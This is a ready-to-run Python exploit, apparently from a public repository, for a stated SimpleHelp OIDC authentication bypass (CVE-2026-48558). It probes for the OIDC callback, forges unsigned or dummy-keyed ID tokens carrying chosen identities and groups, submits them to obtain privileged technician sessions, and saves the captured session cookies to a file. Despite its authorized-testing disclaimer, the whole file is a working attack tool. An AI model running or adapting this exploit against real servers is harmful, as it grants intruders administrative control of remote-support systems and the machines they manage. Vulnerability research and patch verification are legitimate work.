#!/usr/bin/env python3 """ CVE-2026-48558 SimpleHelp OIDC Authentication Bypass Proof of Concept This script demonstrates forging an OIDC ID token to create privileged Technician sessions on vulnerable SimpleHelp servers (5.5.15 and prior, 6.0 pre-releases) when OIDC auth is enabled. WARNING: For educational and authorized security testing purposes only. Do not use against production systems without explicit written permission. Unauthorized use may violate laws and terms of service. Vendor patch: SimpleHelp 5.5.16 / 6.0 RC2 (2026-05 security update) CISA KEV: Yes (active exploitation observed) Created for responsible disclosure and defensive research. Author: J4ck3LSyN [Repo]: https://github.com/J4ck3LSyN-Gen2/CVE-2026-48558 [Sources]: - https://secdb.nttzen.cloud/cve/detail/CVE-2026-48558 - https://nvd.nist.gov/vuln/detail/CVE-2026-48558 - https://fedisecfeeds.github.io/#CVE-2026-48558 """ import argparse, base64, json, sys, time from urllib.parse import urljoin import requests try: import jwt except ImportError: print("[-] PyJWT not installed. Installing...");import subprocess;subprocess.check_call([sys.executable, "-m", "pip", "install", "PyJWT"]);import jwt __author__ = "J4ck3LSyN" class CVE202648558Exploit: def __init__(self, base_url, verify_ssl=True): self.base_url = base_url.rstrip('/') self.verify_ssl = verify_ssl self.session = requests.Session() self.session.verify = verify_ssl self.callback_url = None self.possible_paths = ['/auth/oidc/callback', '/auth/callback/oidc', '/oauth2/callback/oidc', '/oidc/callback', '/auth/auth/oidc/callback', '/servlet/auth/oidc/callback', '/login/oidc/callback', '/auth/oidc'] def discover_callback(self): print("[*] Discovering OIDC callback...") for p in self.possible_paths: u = urljoin(self.base_url, p) try: r = self.session.get(u, timeout=8, allow_redirects=False) if r.status_code != 404: print(f"[+] Candidate: {u} ({r.status_code})") self.callback_url = u return u except: pass print("[-] Auto-discovery failed.") return None def set_callback(self, url): self.callback_url = url def create_token(self, iss, aud, sub, email, name, groups=None, extra=None, alg="none"): groups = groups or [] extra = extra or {} payload = {"iss": iss, "aud": aud, "sub": sub, "email": email, "name": name, "groups": groups, "iat": int(time.time()), "exp": int(time.time()) + 7200} payload.update(extra) header = {"alg": alg, "typ": "JWT"} if alg == "none": eh = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode() ep = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode() return f"{eh}.{ep}." else: return jwt.encode(payload, "dummy", algorithm=alg) def exploit(self, iss, aud, sub, email, name, groups=None, token=None): if not self.callback_url: self.discover_callback() if not self.callback_url: return False, "No callback URL" if not token: token = self.create_token(iss, aud, sub, email, name, groups) print(f"[*] Token: {token[:60]}...") data = {'id_token': token} headers = {'Content-Type': 'application/x-www-form-urlencoded'} try: r = self.session.post(self.callback_url, data=data, headers=headers, timeout=15, allow_redirects=True) print(f"[+] Status: {r.status_code}") cookies = [c.name for c in r.cookies if any(k in c.name.lower() for k in ['session', 'token', 'auth', 'simplehelp'])] if cookies: print(f"[+] Cookies: {cookies}") txt = r.text.lower() if any(k in txt for k in ['technician', 'dashboard', 'admin', 'console']) or (300 <= r.status_code < 400 and any(k in r.headers.get('Location','').lower() for k in ['dashboard','console','admin'])): print("[+] Likely success") return True, r return False, r except Exception as e: return False, str(e) def main(): p = argparse.ArgumentParser(description="CVE-2026-48558 PoC") p.add_argument("-u","--url",required=True) p.add_argument("--no-verify",action="store_true") p.add_argument("-i","--issuer",required=True) p.add_argument("-a","--audience",required=True) p.add_argument("-s","--subject",required=True) p.add_argument("-e","--email",required=True) p.add_argument("-n","--name",required=True) p.add_argument("-g","--groups",default="") p.add_argument("--alg",default="none",choices=["none","HS256"]) p.add_argument("--callback") p.add_argument("--token") args = p.parse_args() print("=== CVE-2026-48558 SimpleHelp PoC ===") exp = CVE202648558Exploit(args.url, not args.no_verify) if args.callback: exp.set_callback(args.callback) else: exp.discover_callback() groups = [g.strip() for g in args.groups.split(',') if g.strip()] token = args.token or exp.create_token(args.issuer, args.audience, args.subject, args.email, args.name, groups, alg=args.alg) print("[*] Attacking...") success, res = exp.exploit(args.issuer, args.audience, args.subject, args.email, args.name, groups, token) if success: print("[+] Success!") if hasattr(res,'cookies') and res.cookies: with open('session.json','w') as f: json.dump({c.name:c.value for c in exp.session.cookies},f,indent=2) print("[+] Cookies saved") else: print("[-] Failed") if __name__ == "__main__": main()